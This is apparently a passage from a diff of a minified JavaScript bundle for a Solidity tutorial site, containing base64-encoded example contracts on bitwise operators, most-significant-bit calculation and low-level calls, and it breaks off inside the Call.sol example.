                  `,ty=({prev:s,next:a})=>r.jsx(u,{version:ny,title:ly,description:py,html:cy,prev:s,next:a,codes:ey}),oy="0.8.24",ry="Bitwise Operators",iy="Learn about bitwise operators in Solidity",gy=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB4IF4geTsKICAgIH0KCiAgICAvLyB4ICA9IDAwMDAxMTAwID0gICAwICsgIDAgKyAgMCArICAwICsgOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB+eCA9IDExMTEwMDExID0gMTI4ICsgNjQgKyAzMiArIDE2ICsgMCArIDAgKyAyICsgMSA9IDI0MwogICAgZnVuY3Rpb24gbm90KHVpbnQ4IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDgpIHsKICAgICAgICByZXR1cm4gfng7CiAgICB9CgogICAgLy8gMSA8PCAwID0gMDAwMSAtLT4gMDAwMSA9IDEKICAgIC8vIDEgPDwgMSA9IDAwMDEgLS0+IDAwMTAgPSAyCiAgICAvLyAxIDw8IDIgPSAwMDAxIC0tPiAwMTAwID0gNAogICAgLy8gMSA8PCAzID0gMDAwMSAtLT4gMTAwMCA9IDgKICAgIC8vIDMgPDwgMiA9IDAwMTEgLS0+IDExMDAgPSAxMgogICAgZnVuY3Rpb24gc2hpZnRMZWZ0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPDwgYml0czsKICAgIH0KCiAgICAvLyA4ICA+PiAwID0gMTAwMCAtLT4gMTAwMCA9IDgKICAgIC8vIDggID4+IDEgPSAxMDAwIC0tPiAwMTAwID0gNAogICAgLy8gOCAgPj4gMiA9IDEwMDAgLS0+IDAwMTAgPSAyCiAgICAvLyA4ICA+PiAzID0gMTAwMCAtLT4gMDAwMSA9IDEKICAgIC8vIDggID4+IDQgPSAxMDAwIC0tPiAwMDAwID0gMAogICAgLy8gMTIgPj4gMSA9IDExMDAgLS0+IDAxMTAgPSA2CiAgICBmdW5jdGlvbiBzaGlmdFJpZ2h0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPj4gYml0czsKICAgIH0KCiAgICAvLyBHZXQgbGFzdCBuIGJpdHMgZnJvbSB4CiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHModWludDI1NiB4LCB1aW50MjU2IG4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvLyBFeGFtcGxlLCBsYXN0IDMgYml0cwogICAgICAgIC8vIHggICAgICAgID0gMTEwMSA9IDEzCiAgICAgICAgLy8gbWFzayAgICAgPSAwMTExID0gNwogICAgICAgIC8vIHggJiBtYXNrID0gMDEwMSA9IDUKICAgICAgICB1aW50MjU2IG1hc2sgPSAoMSA8PCBuKSAtIDE7CiAgICAgICAgcmV0dXJuIHggJiBtYXNrOwogICAgfQoKICAgIC8vIEdldCBsYXN0IG4gYml0cyBmcm9tIHggdXNpbmcgbW9kIG9wZXJhdG9yCiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHNVc2luZ01vZCh1aW50MjU2IHgsIHVpbnQyNTYgbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIDEgPDwgbiA9IDIgKiogbgogICAgICAgIHJldHVybiB4ICUgKDEgPDwgbik7CiAgICB9CgogICAgLy8gR2V0IHBvc2l0aW9uIG9mIG1vc3Qgc2lnbmlmaWNhbnQgYml0CiAgICAvLyB4ID0gMTEwMCA9IDEyLCBtb3N0IHNpZ25pZmljYW50IGJpdCA9IDEwMDAsIHNvIHRoaXMgZnVuY3Rpb24gd2lsbCByZXR1cm4gMwogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiBpID0gMDsKICAgICAgICB3aGlsZSAoKHggPj49IDEpID4gMCkgewogICAgICAgICAgICArK2k7CiAgICAgICAgfQogICAgICAgIHJldHVybiBpOwogICAgfQoKICAgIC8vIEdldCBmaXJzdCBuIGJpdHMgZnJvbSB4CiAgICAvLyBsZW4gPSBsZW5ndGggb2YgYml0cyBpbiB4ID0gcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQgb2YgeCwgKyAxCiAgICBmdW5jdGlvbiBnZXRGaXJzdE5CaXRzKHVpbnQyNTYgeCwgdWludDI1NiBuLCB1aW50MjU2IGxlbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIEV4YW1wbGUKICAgICAgICAvLyB4ICAgICAgICA9IDExMTAgPSAxNCwgbiA9IDIsIGxlbiA9IDQKICAgICAgICAvLyBtYXNrICAgICA9IDExMDAgPSAxMgogICAgICAgIC8vIHggJiBtYXNrID0gMTEwMCA9IDEyCiAgICAgICAgdWludDI1NiBtYXNrID0gKCgxIDw8IG4pIC0gMSkgPDwgKGxlbiAtIG4pOwogICAgICAgIHJldHVybiB4ICYgbWFzazsKICAgIH0KfQo="},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50MjU2IHgpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBtc2IpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNywgZ3QoeCwgMHhGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIC8vIG9yIGNhbiBiZSByZXBsYWNlZCB3aXRoIGFkZAogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg2LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg1LCBndCh4LCAweEZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNCwgZ3QoeCwgMHhGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMywgZ3QoeCwgMHhGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDIsIGd0KHgsIDB4RikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDEsIGd0KHgsIDB4MykpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gZ3QoeCwgMHgxKQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IG1zYikKICAgIHsKICAgICAgICAvLyB4ID49IDIgKiogMTI4CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTI4OwogICAgICAgICAgICBtc2IgKz0gMTI4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNjQKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDY0OwogICAgICAgICAgICBtc2IgKz0gNjQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAzMgogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDMyOwogICAgICAgICAgICBtc2IgKz0gMzI7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAxNgogICAgICAgIGlmICh4ID49IDB4MTAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTY7CiAgICAgICAgICAgIG1zYiArPSAxNjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDgKICAgICAgICBpZiAoeCA+PSAweDEwMCkgewogICAgICAgICAgICB4ID4+PSA4OwogICAgICAgICAgICBtc2IgKz0gODsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDQKICAgICAgICBpZiAoeCA+PSAweDEwKSB7CiAgICAgICAgICAgIHggPj49IDQ7CiAgICAgICAgICAgIG1zYiArPSA0OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMgogICAgICAgIGlmICh4ID49IDB4NCkgewogICAgICAgICAgICB4ID4+PSAyOwogICAgICAgICAgICBtc2IgKz0gMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDEKICAgICAgICBpZiAoeCA+PSAweDIpIG1zYiArPSAxOwogICAgfQp9Cg=="}],hy=`
                  // SPDX-License-Identifier: MIT
+
                  `,ty=({prev:s,next:a})=>r.jsx(A,{version:ny,title:ly,description:py,html:cy,prev:s,next:a,codes:ey}),oy="0.8.24",ry="Bitwise Operators",iy="Learn about bitwise operators in Solidity",gy=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB4IF4geTsKICAgIH0KCiAgICAvLyB4ICA9IDAwMDAxMTAwID0gICAwICsgIDAgKyAgMCArICAwICsgOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB+eCA9IDExMTEwMDExID0gMTI4ICsgNjQgKyAzMiArIDE2ICsgMCArIDAgKyAyICsgMSA9IDI0MwogICAgZnVuY3Rpb24gbm90KHVpbnQ4IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDgpIHsKICAgICAgICByZXR1cm4gfng7CiAgICB9CgogICAgLy8gMSA8PCAwID0gMDAwMSAtLT4gMDAwMSA9IDEKICAgIC8vIDEgPDwgMSA9IDAwMDEgLS0+IDAwMTAgPSAyCiAgICAvLyAxIDw8IDIgPSAwMDAxIC0tPiAwMTAwID0gNAogICAgLy8gMSA8PCAzID0gMDAwMSAtLT4gMTAwMCA9IDgKICAgIC8vIDMgPDwgMiA9IDAwMTEgLS0+IDExMDAgPSAxMgogICAgZnVuY3Rpb24gc2hpZnRMZWZ0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPDwgYml0czsKICAgIH0KCiAgICAvLyA4ICA+PiAwID0gMTAwMCAtLT4gMTAwMCA9IDgKICAgIC8vIDggID4+IDEgPSAxMDAwIC0tPiAwMTAwID0gNAogICAgLy8gOCAgPj4gMiA9IDEwMDAgLS0+IDAwMTAgPSAyCiAgICAvLyA4ICA+PiAzID0gMTAwMCAtLT4gMDAwMSA9IDEKICAgIC8vIDggID4+IDQgPSAxMDAwIC0tPiAwMDAwID0gMAogICAgLy8gMTIgPj4gMSA9IDExMDAgLS0+IDAxMTAgPSA2CiAgICBmdW5jdGlvbiBzaGlmdFJpZ2h0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPj4gYml0czsKICAgIH0KCiAgICAvLyBHZXQgbGFzdCBuIGJpdHMgZnJvbSB4CiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHModWludDI1NiB4LCB1aW50MjU2IG4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvLyBFeGFtcGxlLCBsYXN0IDMgYml0cwogICAgICAgIC8vIHggICAgICAgID0gMTEwMSA9IDEzCiAgICAgICAgLy8gbWFzayAgICAgPSAwMTExID0gNwogICAgICAgIC8vIHggJiBtYXNrID0gMDEwMSA9IDUKICAgICAgICB1aW50MjU2IG1hc2sgPSAoMSA8PCBuKSAtIDE7CiAgICAgICAgcmV0dXJuIHggJiBtYXNrOwogICAgfQoKICAgIC8vIEdldCBsYXN0IG4gYml0cyBmcm9tIHggdXNpbmcgbW9kIG9wZXJhdG9yCiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHNVc2luZ01vZCh1aW50MjU2IHgsIHVpbnQyNTYgbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIDEgPDwgbiA9IDIgKiogbgogICAgICAgIHJldHVybiB4ICUgKDEgPDwgbik7CiAgICB9CgogICAgLy8gR2V0IHBvc2l0aW9uIG9mIG1vc3Qgc2lnbmlmaWNhbnQgYml0CiAgICAvLyB4ID0gMTEwMCA9IDEyLCBtb3N0IHNpZ25pZmljYW50IGJpdCA9IDEwMDAsIHNvIHRoaXMgZnVuY3Rpb24gd2lsbCByZXR1cm4gMwogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiBpID0gMDsKICAgICAgICB3aGlsZSAoKHggPj49IDEpID4gMCkgewogICAgICAgICAgICArK2k7CiAgICAgICAgfQogICAgICAgIHJldHVybiBpOwogICAgfQoKICAgIC8vIEdldCBmaXJzdCBuIGJpdHMgZnJvbSB4CiAgICAvLyBsZW4gPSBsZW5ndGggb2YgYml0cyBpbiB4ID0gcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQgb2YgeCwgKyAxCiAgICBmdW5jdGlvbiBnZXRGaXJzdE5CaXRzKHVpbnQyNTYgeCwgdWludDI1NiBuLCB1aW50MjU2IGxlbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIEV4YW1wbGUKICAgICAgICAvLyB4ICAgICAgICA9IDExMTAgPSAxNCwgbiA9IDIsIGxlbiA9IDQKICAgICAgICAvLyBtYXNrICAgICA9IDExMDAgPSAxMgogICAgICAgIC8vIHggJiBtYXNrID0gMTEwMCA9IDEyCiAgICAgICAgdWludDI1NiBtYXNrID0gKCgxIDw8IG4pIC0gMSkgPDwgKGxlbiAtIG4pOwogICAgICAgIHJldHVybiB4ICYgbWFzazsKICAgIH0KfQo="},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50MjU2IHgpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBtc2IpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNywgZ3QoeCwgMHhGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIC8vIG9yIGNhbiBiZSByZXBsYWNlZCB3aXRoIGFkZAogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg2LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg1LCBndCh4LCAweEZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNCwgZ3QoeCwgMHhGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMywgZ3QoeCwgMHhGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDIsIGd0KHgsIDB4RikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDEsIGd0KHgsIDB4MykpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gZ3QoeCwgMHgxKQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IG1zYikKICAgIHsKICAgICAgICAvLyB4ID49IDIgKiogMTI4CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTI4OwogICAgICAgICAgICBtc2IgKz0gMTI4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNjQKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDY0OwogICAgICAgICAgICBtc2IgKz0gNjQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAzMgogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDMyOwogICAgICAgICAgICBtc2IgKz0gMzI7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAxNgogICAgICAgIGlmICh4ID49IDB4MTAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTY7CiAgICAgICAgICAgIG1zYiArPSAxNjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDgKICAgICAgICBpZiAoeCA+PSAweDEwMCkgewogICAgICAgICAgICB4ID4+PSA4OwogICAgICAgICAgICBtc2IgKz0gODsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDQKICAgICAgICBpZiAoeCA+PSAweDEwKSB7CiAgICAgICAgICAgIHggPj49IDQ7CiAgICAgICAgICAgIG1zYiArPSA0OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMgogICAgICAgIGlmICh4ID49IDB4NCkgewogICAgICAgICAgICB4ID4+PSAyOwogICAgICAgICAgICBtc2IgKz0gMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDEKICAgICAgICBpZiAoeCA+PSAweDIpIG1zYiArPSAxOwogICAgfQp9Cg=="}],hy=`
                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
 contract BitwiseOps {
@@ -3629,7 +3629,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,Iy=({prev:s,next:a})=>r.jsx(u,{version:oy,title:ry,description:iy,html:hy,prev:s,next:a,codes:gy}),dy="0.8.24",Cy="Call",jy="In Solidity call is a low level function to interact with other contracts",uy=[{fileName:"Call.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFJlY2VpdmVyIHsKICAgIGV2ZW50IFJlY2VpdmVkKGFkZHJlc3MgY2FsbGVyLCB1aW50MjU2IGFtb3VudCwgc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsICJGYWxsYmFjayB3YXMgY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gZm9vKHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsIHVpbnQyNTYgX3gpCiAgICAgICAgcHVibGljCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgZW1pdCBSZWNlaXZlZChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIF9tZXNzYWdlKTsKCiAgICAgICAgcmV0dXJuIF94ICsgMTsKICAgIH0KfQoKY29udHJhY3QgQ2FsbGVyIHsKICAgIGV2ZW50IFJlc3BvbnNlKGJvb2wgc3VjY2VzcywgYnl0ZXMgZGF0YSk7CgogICAgLy8gTGV0J3MgaW1hZ2luZSB0aGF0IGNvbnRyYWN0IENhbGxlciBkb2VzIG5vdCBoYXZlIHRoZSBzb3VyY2UgY29kZSBmb3IgdGhlCiAgICAvLyBjb250cmFjdCBSZWNlaXZlciwgYnV0IHdlIGRvIGtub3cgdGhlIGFkZHJlc3Mgb2YgY29udHJhY3QgUmVjZWl2ZXIgYW5kIHRoZSBmdW5jdGlvbiB0byBjYWxsLgogICAgZnVuY3Rpb24gdGVzdENhbGxGb28oYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgLy8gWW91IGNhbiBzZW5kIGV0aGVyIGFuZCBzcGVjaWZ5IGEgY3VzdG9tIGdhcyBhbW91bnQKICAgICAgICAoYm9vbCBzdWNjZXNzLCBieXRlcyBtZW1vcnkgZGF0YSkgPSBfYWRkci5jYWxsewogICAgICAgICAgICB2YWx1ZTogbXNnLnZhbHVlLAogICAgICAgICAgICBnYXM6IDUwMDAKICAgICAgICB9KGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJmb28oc3RyaW5nLHVpbnQyNTYpIiwgImNhbGwgZm9vIiwgMTIzKSk7CgogICAgICAgIGVtaXQgUmVzcG9uc2Uoc3VjY2VzcywgZGF0YSk7CiAgICB9CgogICAgLy8gQ2FsbGluZyBhIGZ1bmN0aW9uIHRoYXQgZG9lcyBub3QgZXhpc3QgdHJpZ2dlcnMgdGhlIGZhbGxiYWNrIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gdGVzdENhbGxEb2VzTm90RXhpc3QoYWRkcmVzcyBwYXlhYmxlIF9hZGRyKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IGRhdGEpID0gX2FkZHIuY2FsbHt2YWx1ZTogbXNnLnZhbHVlfSgKICAgICAgIC